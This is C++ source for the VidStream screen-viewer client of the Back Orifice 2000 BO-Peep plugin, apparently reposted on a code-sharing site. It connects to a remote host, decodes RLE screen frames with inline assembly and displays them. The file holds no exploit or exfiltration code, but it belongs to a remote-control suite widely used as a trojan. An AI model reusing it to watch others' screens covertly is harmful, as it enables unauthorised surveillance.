client.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:20k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<plugins.h>
  17. #include<bocomreg.h>
  18. #include<auth.h>
  19. #include<iohandler.h>
  20. #include<encryption.h>
  21. #include<config.h>
  22. #include"bo_peep.h"
  23. #include"client.h"
  24. #include<resource.h>
  25. typedef struct {
  26. // Windows
  27. HWND hParent;
  28. HWND hDialog;
  29. // View
  30. HDC  hViewDC;
  31. HBITMAP hbmView;
  32. HGDIOBJ hgdiold;
  33. BYTE *pcViewBits;
  34. BITMAPINFO biView;
  35. RGBQUAD rgbPal[255];
  36. int sizex;
  37. int sizey;
  38. RECT rVid;
  39. HBRUSH hbrBkgd;
  40. // Full
  41. int xscdim;
  42. int yscdim;
  43. BYTE *pcFullBits;
  44. // Misc
  45. DWORD dwLastTime;
  46. DWORD dwBytes;
  47. DWORD dwKsec;
  48. DWORD dwKRsec;
  49. CAuthSocket *pSock;
  50. WORD wFlags;
  51. DWORD dwFrameCount;
  52. HFONT hFont;
  53. HCURSOR hCursor;
  54. char svCaption[32];
  55. } VIDSTREAM_CONTEXT;
  56. typedef struct {
  57. HWND hParent;
  58. } THREAD_ARGS;
  59. #define WM_RESIZEVIEW (WM_USER+112)
  60. #define WM_RESIZEFULL (WM_USER+113)
  61. // VidStreamConnect: Prompts the user for connection information,
  62. // connects an authenticated socket, and updates the dialog box
  63. int VidStreamConnect(VIDSTREAM_CONTEXT *vscontext) 
  64. {
  65. // Update dialog box
  66. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_CHECKED,0);
  67. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Disconnect");
  68. // Create connection socket
  69. CAuthSocket *pSock=ConnectAuthSocket(InteractiveConnect,0,vscontext->hDialog,
  70. GetCfgStr(g_szAdvancedOptions,"VidStream Bind Str"),
  71. GetCfgStr(g_szAdvancedOptions,"VidStream Net Module"),
  72. GetCfgStr(g_szAdvancedOptions,"VidStream Encryption"),
  73. GetCfgStr(g_szAdvancedOptions,"VidStream Auth"));
  74. if(pSock==NULL) {
  75. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  76. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  77. return 0;
  78. } else if(pSock==(CAuthSocket *)0xFFFFFFFF) {
  79. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  80. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  81. return -1;
  82. }
  83. vscontext->pSock=pSock;
  84. vscontext->dwFrameCount=0;
  85. char svAddr[256];
  86. pSock->GetRemoteAddr(svAddr,256);
  87. lstrcpyn(vscontext->svCaption, svAddr, 32);
  88. return 1;
  89. }
  90. // VidStreamDisconnect: Shuts down any socket, and updates the dialog box
  91. BOOL VidStreamDisconnect(VIDSTREAM_CONTEXT *vscontext)
  92. {
  93. if(vscontext->pSock==NULL) return FALSE;
  94. vscontext->pSock->Close();
  95. delete vscontext->pSock;
  96. vscontext->pSock=NULL;
  97. RECT r;
  98. r.left=0;
  99. r.top=0;
  100. r.right=vscontext->sizex;
  101. r.bottom=vscontext->sizey;
  102. FillRect(vscontext->hViewDC,&r,vscontext->hbrBkgd);
  103. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  104. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  105. InvalidateRect(vscontext->hDialog,&(vscontext->rVid),FALSE);
  106. UpdateWindow(vscontext->hDialog);
  107. return TRUE;
  108. }
  109. // RLEDecompress: Decompress RLE byte stream
  110. BOOL RLEDecompress(BYTE *pInBits, int nInLen, BYTE *pOutBits)
  111. {
  112. _asm {
  113. mov esi,dword ptr [pInBits]
  114. mov edi,dword ptr [pOutBits]
  115. mov edx,dword ptr [nInLen]
  116. xor ecx,ecx
  117. cld
  118. rleloop:; 
  119. _asm {
  120. // Get command byte
  121. mov cl, byte ptr [esi]
  122. inc esi
  123. dec edx
  124. // Check for repeat
  125. test cl,080h
  126. jz rlenorepeat
  127. // Repeat next byte
  128. and ecx,07Fh
  129. mov al,byte ptr [esi]
  130. inc esi
  131. dec edx
  132. rep stosb
  133. jmp rletail
  134. }
  135. rlenorepeat:; 
  136. _asm {
  137. // Copy literal byte string
  138. sub edx,ecx
  139. rep movsb
  140. }
  141. rletail:;
  142. _asm {
  143. // Loop until finished
  144. cmp edx,0
  145. jnz rleloop
  146. }
  147. return TRUE;
  148. }
  149. // VidStreamFullFrame: Handle full screen VidStream data
  150. void VidStreamFullFrame(VIDSTREAM_CONTEXT *vscontext, BYTE *pData, VIDSTREAM_HEADER *pHeader)
  151. {
  152. // Decompress full frame into back buffer
  153. RLEDecompress(pData,pHeader->dwSize,vscontext->pcFullBits);
  154. int nPitchX=vscontext->xscdim-vscontext->sizex;
  155. int sizex=vscontext->sizex/4;
  156. int sizey=vscontext->sizey;
  157. BYTE *fullpos=vscontext->pcFullBits+pHeader->wPosX+pHeader->wPosY*vscontext->xscdim;
  158. BYTE *viewpos=vscontext->pcViewBits;
  159. // Copy full screen into view buffer
  160. _asm {
  161. mov esi,dword ptr [fullpos]
  162. mov edi,dword ptr [viewpos]
  163. mov ecx,dword ptr [sizey]
  164. shl ecx,16
  165. }
  166. vscyloop:;
  167.  _asm {
  168.  mov cx, word ptr [sizex]
  169.  }
  170. vscxloop:;
  171.  _asm {
  172.  mov eax,dword ptr [esi]
  173.  mov dword ptr [edi],eax
  174.  
  175.  add edi,4
  176.  add esi,4
  177.  
  178.  dec cx
  179.  jnz vscxloop
  180.  add esi,dword ptr [nPitchX]
  181.  sub ecx,65536
  182.  jnz vscyloop
  183. }
  184. }
  185. // VidStreamDiffFrame: Handle diff screen VidStream data
  186. void VidStreamDiffFrame(VIDSTREAM_CONTEXT *vscontext, BYTE *pData, VIDSTREAM_HEADER *pHeader)
  187. {
  188. // Decompress diffs into view-size buffer
  189. RLEDecompress(pData,pHeader->dwSize,vscontext->pcViewBits);
  190. int nPitchX=vscontext->xscdim-vscontext->sizex;
  191. int sizex=vscontext->sizex/4;
  192. int sizey=vscontext->sizey;
  193. BYTE *fullpos=vscontext->pcFullBits+pHeader->wPosX+pHeader->wPosY*vscontext->xscdim;
  194. BYTE *viewpos=vscontext->pcViewBits;
  195. // XOR diffs into view buffer and store into full screen view 
  196. _asm {
  197. mov esi,dword ptr [fullpos]
  198. mov edi,dword ptr [viewpos]
  199. mov ecx,dword ptr [sizey]
  200. shl ecx,16
  201. }
  202. vsfyloop:;
  203. _asm {
  204. mov cx, word ptr [sizex]
  205. }
  206. vsfxloop:;
  207. _asm {
  208. mov eax,dword ptr [edi]
  209. xor eax,dword ptr [esi]
  210. mov dword ptr [edi],eax
  211. mov dword ptr [esi],eax
  212. add edi,4
  213. add esi,4
  214. dec cx
  215. jnz vsfxloop
  216. add esi,dword ptr [nPitchX]
  217. sub ecx,65536
  218. jnz vsfyloop
  219. }
  220. }
  221. // VidStreamViewRegion: Just pans around the full screen
  222. void VidStreamViewRegion(VIDSTREAM_CONTEXT *vscontext, VIDSTREAM_HEADER *pHeader)
  223. {
  224. int nPitchX=vscontext->xscdim-vscontext->sizex;
  225. int sizex=vscontext->sizex/4;
  226. int sizey=vscontext->sizey;
  227. BYTE *fullpos=vscontext->pcFullBits+pHeader->wPosX+pHeader->wPosY*vscontext->xscdim;
  228. BYTE *viewpos=vscontext->pcViewBits;
  229. // XOR diffs into view buffer and store into full screen view 
  230. _asm {
  231. mov esi,dword ptr [fullpos]
  232. mov edi,dword ptr [viewpos]
  233. mov ecx,dword ptr [sizey]
  234. shl ecx,16
  235. }
  236. vsvfyloop:;
  237. _asm {
  238. mov cx, word ptr [sizex]
  239. }
  240. vsvfxloop:;
  241. _asm {
  242. mov eax,dword ptr [esi]
  243. add esi,4
  244. mov dword ptr [edi],eax
  245. add edi,4
  246. dec cx
  247. jnz vsvfxloop
  248. add esi,dword ptr [nPitchX]
  249. sub ecx,65536
  250. jnz vsvfyloop
  251. }
  252. }
  253. // VidStreamDraw: Paints the VidStream viewport
  254. void VidStreamDraw(VIDSTREAM_CONTEXT *vscontext, VIDSTREAM_HEADER *pHeader)
  255. {
  256. int cx,cy;
  257. cx=pHeader->wCurPosX-pHeader->wPosX;
  258. cy=pHeader->wCurPosY-pHeader->wPosY;
  259. SetDIBits(vscontext->hViewDC,vscontext->hbmView,0,vscontext->sizey,vscontext->pcViewBits,&(vscontext->biView),DIB_RGB_COLORS);
  260. DrawIconEx(vscontext->hViewDC,cx,cy,vscontext->hCursor,0,0,0,NULL,DI_DEFAULTSIZE|DI_NORMAL);
  261. InvalidateRect(vscontext->hDialog,&(vscontext->rVid),FALSE);
  262. UpdateWindow(vscontext->hDialog);
  263. }
  264. // VidStreamDlgProc: Dialog Procedure for VidStream client
  265. BOOL CALLBACK VidStreamDlgProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
  266. {
  267. VIDSTREAM_CONTEXT *vscontext=(VIDSTREAM_CONTEXT *)GetWindowLong(hwndDlg,GWL_USERDATA);
  268. WORD wID,wNotifyCode;
  269. HWND hwndCtl;
  270. RECT r;
  271. PAINTSTRUCT ps;
  272. HDC hdc;
  273. HGDIOBJ hgdifont;
  274. int height,width,i;
  275. char svCaption[32];
  276. SYSTEMTIME st;
  277. switch(uMsg) {
  278. case WM_INITDIALOG:
  279. SetWindowLong(hwndDlg,GWL_USERDATA,(LONG)lParam);
  280. // Initialize VidStream context
  281. vscontext=(VIDSTREAM_CONTEXT *)lParam;
  282. vscontext->hDialog=hwndDlg;
  283. // View
  284. vscontext->sizex=160;
  285. vscontext->sizey=120;
  286. vscontext->hViewDC=CreateCompatibleDC(NULL);
  287. vscontext->hbmView=CreateCompatibleBitmap(GetDC(NULL),vscontext->sizex,vscontext->sizey);
  288. vscontext->hgdiold=SelectObject(vscontext->hViewDC,vscontext->hbmView);
  289. vscontext->pcViewBits=(BYTE *)malloc(vscontext->sizex*vscontext->sizey);
  290. memset(&(vscontext->biView.bmiHeader),0,sizeof(BITMAPINFOHEADER));
  291. vscontext->biView.bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
  292. vscontext->biView.bmiHeader.biWidth=vscontext->sizex;
  293. vscontext->biView.bmiHeader.biHeight=-vscontext->sizey;
  294. vscontext->biView.bmiHeader.biPlanes=1;
  295. vscontext->biView.bmiHeader.biBitCount=8;
  296. vscontext->biView.bmiHeader.biCompression=BI_RGB;
  297. vscontext->biView.bmiHeader.biSizeImage=(vscontext->sizex*vscontext->sizey);
  298. for(i=0;i<256;i++) {
  299. vscontext->biView.bmiColors[i].rgbBlue=i;
  300. vscontext->biView.bmiColors[i].rgbGreen=i;
  301. vscontext->biView.bmiColors[i].rgbRed=i;
  302. vscontext->biView.bmiColors[i].rgbReserved=0;
  303. }
  304. vscontext->rVid.top=8;
  305. vscontext->rVid.bottom=vscontext->rVid.top+vscontext->sizey;
  306. width=max(80*2+8,vscontext->sizex)+(8*2)+4;
  307. height=8+vscontext->sizey+12+24+8+4;
  308. vscontext->rVid.left=(width/2)-(vscontext->sizex/2)-4;
  309. vscontext->rVid.right=vscontext->rVid.left+vscontext->sizex;
  310. vscontext->hbrBkgd=CreateSolidBrush(RGB(0,0,255));
  311. // Full
  312. vscontext->xscdim=640;
  313. vscontext->yscdim=480;
  314. vscontext->pcFullBits=(BYTE *)malloc(vscontext->xscdim*vscontext->yscdim);
  315. // Misc
  316. vscontext->pSock=NULL;
  317. vscontext->wFlags=0;
  318. vscontext->dwFrameCount=0;
  319. vscontext->hFont=CreateFont(-MulDiv(8, GetDeviceCaps(GetDC(NULL), LOGPIXELSY), 72),0,0,0,FW_NORMAL,FALSE,FALSE,FALSE,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial");
  320. lstrcpyn(vscontext->svCaption,"not connected",32);
  321. vscontext->hCursor=(HCURSOR)LoadImage(g_hInstance,MAKEINTRESOURCE(IDC_REMOTEPOINTER),IMAGE_CURSOR,0,0,LR_DEFAULTSIZE);
  322. // Blue out display
  323. r.left=0;
  324. r.top=0;
  325. r.right=vscontext->sizex;
  326. r.bottom=vscontext->sizey;
  327. FillRect(vscontext->hViewDC,&r,vscontext->hbrBkgd);
  328. // Stats tracking
  329. vscontext->dwBytes=0;
  330. vscontext->dwLastTime=GetTickCount();
  331. vscontext->dwKsec=0;
  332. vscontext->dwKRsec=0;
  333. return TRUE;
  334. case WM_RESIZEVIEW:
  335. vscontext->sizex=LOWORD(lParam);
  336. vscontext->sizey=HIWORD(lParam);
  337. vscontext->wFlags=(WORD)wParam;
  338. // Deallocate view stuff
  339. SelectObject(vscontext->hViewDC,vscontext->hgdiold);
  340. DeleteObject(vscontext->hbmView);
  341. free(vscontext->pcViewBits);
  342. // View
  343. vscontext->hbmView=CreateCompatibleBitmap(GetDC(NULL),vscontext->sizex,vscontext->sizey);
  344. vscontext->hgdiold=SelectObject(vscontext->hViewDC,vscontext->hbmView);
  345. vscontext->pcViewBits=(BYTE *)malloc(vscontext->sizex*vscontext->sizey);
  346. vscontext->biView.bmiHeader.biWidth=vscontext->sizex;
  347. vscontext->biView.bmiHeader.biHeight=-vscontext->sizey;
  348. vscontext->rVid.top=8;
  349. vscontext->rVid.bottom=vscontext->rVid.top+vscontext->sizey;
  350. width=max(80*2+8,vscontext->sizex)+(8*2)+4;
  351. height=8+vscontext->sizey+12+24+8+4;
  352. vscontext->rVid.left=(width/2)-(vscontext->sizex/2)-4;
  353. vscontext->rVid.right=vscontext->rVid.left+vscontext->sizex;
  354. // Blue out display
  355. r.left=0;
  356. r.top=0;
  357. r.right=vscontext->sizex;
  358. r.bottom=vscontext->sizey;
  359. FillRect(vscontext->hViewDC,&r,vscontext->hbrBkgd);
  360. // Move and resize window elements
  361. vscontext->rVid.top=8;
  362. vscontext->rVid.bottom=vscontext->rVid.top+vscontext->sizey;
  363. width=max(80*2+8,vscontext->sizex)+(8*2)+4;
  364. height=8+vscontext->sizey+12+24+8+4;
  365. vscontext->rVid.left=(width/2)-(vscontext->sizex/2)-4;
  366. vscontext->rVid.right=vscontext->rVid.left+vscontext->sizex;
  367. // Main Window
  368. GetWindowRect(hwndDlg,&r);
  369. MoveWindow(hwndDlg,r.left,r.top,width,height+(24+12),TRUE);
  370. // Frame
  371. MoveWindow(GetDlgItem(hwndDlg,IDC_FRAME),vscontext->rVid.left-2,vscontext->rVid.top-2,
  372. vscontext->sizex+4,vscontext->sizey+4,TRUE);
  373. // Overlay checkbox
  374. MoveWindow(GetDlgItem(hwndDlg,IDC_OVERLAY),(width/2)-75,vscontext->rVid.bottom+4,150,14,TRUE);
  375. // Connect button
  376. MoveWindow(GetDlgItem(hwndDlg,IDC_CONNECT),(width/4)-(80/2),vscontext->rVid.bottom+24,80,24,TRUE);
  377. // Copy button
  378. MoveWindow(GetDlgItem(hwndDlg,IDC_COPY),(width*3/4)-(80/2)-4,vscontext->rVid.bottom+24,80,24,TRUE);
  379. InvalidateRect(hwndDlg,NULL,TRUE);
  380. return TRUE;
  381. case WM_RESIZEFULL:
  382. vscontext->xscdim=LOWORD(lParam);
  383. vscontext->yscdim=HIWORD(lParam);
  384. free(vscontext->pcFullBits);
  385. vscontext->pcFullBits=(BYTE *)malloc(vscontext->xscdim*vscontext->yscdim);
  386. memset(vscontext->pcFullBits,0,vscontext->xscdim*vscontext->yscdim);
  387. return TRUE;
  388. case WM_PAINT:
  389. hdc=BeginPaint(hwndDlg, &ps);
  390. if(SendDlgItemMessage(hwndDlg,IDC_OVERLAY,BM_GETCHECK,0,0)==BST_CHECKED) {
  391. hgdifont=SelectObject(vscontext->hViewDC,vscontext->hFont);
  392. r.left=1;
  393. r.top=vscontext->sizey-12;
  394. r.right=vscontext->sizex;
  395. r.bottom=vscontext->sizey;
  396. GetLocalTime(&st);
  397. DWORD dwTime=GetTickCount();
  398. if((dwTime-vscontext->dwLastTime)>=1000) {
  399. DWORD dwBsec;
  400. dwBsec=(vscontext->dwBytes*1000)/(dwTime-vscontext->dwLastTime);
  401. vscontext->dwKsec=dwBsec/1024;
  402. vscontext->dwKRsec=((dwBsec%1024)*1000)/102400;
  403. vscontext->dwBytes=0;
  404. vscontext->dwLastTime=dwTime;
  405. }
  406. wsprintf(svCaption,"%.22s %2.2u:%2.2u:%2.2u %d.%dk/sec",vscontext->svCaption, st.wHour,st.wMinute,st.wSecond,vscontext->dwKsec,vscontext->dwKRsec);
  407. SetBkColor(vscontext->hViewDC,RGB(0,0,0));
  408. SetTextColor(vscontext->hViewDC,RGB(255,255,255));
  409. DrawText(vscontext->hViewDC,svCaption,-1,&r,DT_SINGLELINE|DT_CENTER);
  410. SelectObject(vscontext->hViewDC,hgdifont);
  411. }
  412. BitBlt(hdc,vscontext->rVid.left,vscontext->rVid.top,vscontext->sizex,vscontext->sizey,vscontext->hViewDC,0,0,SRCCOPY);
  413. EndPaint(hwndDlg,&ps);
  414. break;
  415. case WM_CLOSE:
  416. PostQuitMessage(0);
  417. return TRUE;
  418. case WM_COMMAND:
  419. wNotifyCode = HIWORD(wParam); // notification code 
  420. wID = LOWORD(wParam);         // item, control, or accelerator identifier 
  421. hwndCtl = (HWND) lParam;      // handle of control 
  422. switch(wID) {
  423. case IDC_CONNECT:
  424. if(vscontext->pSock==NULL) {
  425. if(VidStreamConnect(vscontext)==-1) {
  426. MessageBox(vscontext->hDialog,"Could not connect to VidStream address.n","Connection error",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONWARNING);
  427. }
  428. } else {
  429. VidStreamDisconnect(vscontext);
  430. }
  431. return TRUE;
  432. case IDC_COPY:
  433. {
  434. HANDLE hmem=GlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE,sizeof(BITMAPINFOHEADER)+(256*4)+(vscontext->sizex*vscontext->sizey));
  435. BYTE *pmem=(BYTE *)GlobalLock(hmem);
  436. memcpy(pmem,&(vscontext->biView),sizeof(BITMAPINFOHEADER)+(256*4));
  437. ((BITMAPINFOHEADER *)pmem)->biHeight=-((BITMAPINFOHEADER *)pmem)->biHeight;
  438. // Invert into memory
  439. for(i=0;i<vscontext->sizey;i++) {
  440. memcpy(pmem+sizeof(BITMAPINFOHEADER)+(256*4)+(i*vscontext->sizex),vscontext->pcViewBits+((vscontext->sizey-1)-i)*vscontext->sizex,vscontext->sizex);
  441. }
  442. GlobalUnlock(hmem);
  443. if(OpenClipboard(NULL)) {
  444. EmptyClipboard();
  445. SetClipboardData(CF_DIB,hmem);
  446. CloseClipboard();
  447. }
  448. else {
  449. GlobalFree(hmem);
  450. }
  451. }
  452. return TRUE;
  453. }
  454. return FALSE;
  455. case WM_DESTROY:
  456. DestroyCursor(vscontext->hCursor);
  457. free(vscontext->pcViewBits);
  458. free(vscontext->pcFullBits);
  459. SelectObject(vscontext->hViewDC,vscontext->hgdiold);
  460. DeleteObject(vscontext->hbmView);
  461. DeleteObject(vscontext->hbrBkgd);
  462. DeleteDC(vscontext->hViewDC);
  463. if(vscontext->pSock!=NULL) VidStreamDisconnect(vscontext);
  464. DeleteObject(vscontext->hFont);
  465. return TRUE;
  466. }
  467. return FALSE;
  468. }
  469. // VidStreamThread: Desktop streaming client thread
  470. DWORD WINAPI VidStreamThread(THREAD_ARGS *pArgs)
  471. {
  472. HWND hParent,hVidStreamDlg;
  473. // Thread housekeeping
  474. InterlockedIncrement(&g_nNumThreads);
  475. hParent=pArgs->hParent;
  476. free(pArgs);
  477. // Create context to keep vidstream info
  478. VIDSTREAM_CONTEXT *vscontext=(VIDSTREAM_CONTEXT *) malloc(sizeof(VIDSTREAM_CONTEXT));
  479. if(vscontext==NULL) {
  480. InterlockedDecrement(&g_nNumThreads);
  481. return -1;
  482. }
  483. vscontext->hParent=hParent;
  484. vscontext->pSock=NULL;
  485. // Create vidstream window
  486. hVidStreamDlg=CreateDialogParam(g_hInstance,MAKEINTRESOURCE(IDD_VIDSTREAMDLG),hParent,VidStreamDlgProc,(LPARAM)vscontext);
  487. // Adjust window size
  488. SendMessage(hVidStreamDlg,WM_RESIZEVIEW,0,MAKELONG(160,120));
  489. UpdateWindow(hVidStreamDlg);
  490. MSG msg;
  491. while(g_bActive) {
  492. Sleep(20);
  493. // ---------------- Handle message processing ----------------
  494. if(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) {
  495. if(msg.message==WM_QUIT) goto donehiclient;
  496. TranslateMessage(&msg);
  497. DispatchMessage(&msg);
  498. }
  499. // --------------- Handle vidstream socket ------------------
  500. if(vscontext->pSock==NULL) continue;
  501. // Get VidStream frame header
  502. CAuthSocket *pSock=vscontext->pSock;
  503. VIDSTREAM_HEADER *pHeader;
  504. int nSize,nRet;
  505. if((nRet=pSock->Recv((BYTE **)&pHeader,&nSize))>0) {
  506. vscontext->dwBytes+=(DWORD)nSize;
  507. if(nSize<sizeof(VIDSTREAM_HEADER)) {
  508. pSock->Free((BYTE*)pHeader);
  509. continue;
  510. }
  511. if(pHeader->dwSize>0) {
  512. // Get rest of VidStream frame
  513. BYTE *pData=(BYTE *)malloc(pHeader->dwSize);
  514. if(pData==NULL) {
  515. pSock->Free((BYTE*)pHeader);
  516. break;
  517. }
  518. int i=0;
  519. while(i<(int)pHeader->dwSize) {
  520. BYTE *pFrame;
  521. while((nRet=pSock->Recv(&pFrame,&nSize))==0) 
  522. Sleep(20);
  523. if(nRet<0) {
  524. MessageBox(vscontext->hDialog,"VidStream connection lost.n","Connection error",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONWARNING);
  525. break;
  526. }
  527. vscontext->dwBytes+=(DWORD)nSize;
  528. memcpy(pData+i,pFrame,nSize);
  529. pSock->Free(pFrame);
  530. i+=nSize;
  531. }
  532. if(nRet<0) break;
  533. // ------------- Check type of packet ------------------
  534. if(pHeader->wFlags & VHF_FULLFRAME) {
  535. // Resize fullscreen if necessary
  536. if((pHeader->wSizeX != vscontext->xscdim) ||
  537. (pHeader->wSizeY != vscontext->yscdim)) {
  538. SendMessage(hVidStreamDlg,WM_RESIZEFULL,0,MAKELONG(pHeader->wSizeX,pHeader->wSizeY));
  539. }
  540. VidStreamFullFrame(vscontext, pData, pHeader);
  541. } else if(pHeader->wFlags & VHF_FRAMEDIFF) {
  542. // Resize viewport if necessary
  543. if((pHeader->wSizeX != vscontext->sizex) ||
  544. (pHeader->wSizeY != vscontext->sizey)) {
  545. SendMessage(hVidStreamDlg,WM_RESIZEVIEW,(WPARAM)pHeader->wFlags,MAKELONG(pHeader->wSizeX,pHeader->wSizeY));
  546. }
  547. VidStreamDiffFrame(vscontext, pData, pHeader);
  548. }
  549. free(pData);
  550. } else {
  551. // Resize viewport if necessary
  552. if((pHeader->wSizeX != vscontext->sizex) ||
  553. (pHeader->wSizeY != vscontext->sizey)) {
  554. SendMessage(hVidStreamDlg,WM_RESIZEVIEW,(WPARAM)pHeader->wFlags,MAKELONG(pHeader->wSizeX,pHeader->wSizeY));
  555. }
  556. VidStreamViewRegion(vscontext,pHeader);
  557. }
  558. // ------------- Draw Frame ------------
  559. VidStreamDraw(vscontext,pHeader);
  560. // ------------- Clean up -------------
  561. pSock->Free((BYTE *)pHeader);
  562. }
  563. if(nRet<0) {
  564. // Disconnect on error
  565. VidStreamDisconnect(vscontext);
  566. }
  567. }
  568. donehiclient:;
  569. DestroyWindow(hVidStreamDlg);
  570. free(vscontext);
  571. InterlockedDecrement(&g_nNumThreads);
  572. return 0;
  573. }
  574. int CreateVidStreamClient(HWND hParent)
  575. {
  576. DWORD dwtid;
  577. HANDLE htd;
  578. THREAD_ARGS *pArgs=(THREAD_ARGS *) malloc(sizeof(THREAD_ARGS));
  579. if(pArgs==NULL) return NULL;
  580. pArgs->hParent=hParent;
  581. htd=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)VidStreamThread,pArgs,0,&dwtid);
  582. if(htd==NULL) {
  583. return -1;
  584. }
  585. CloseHandle(htd);
  586. return 0;
  587. }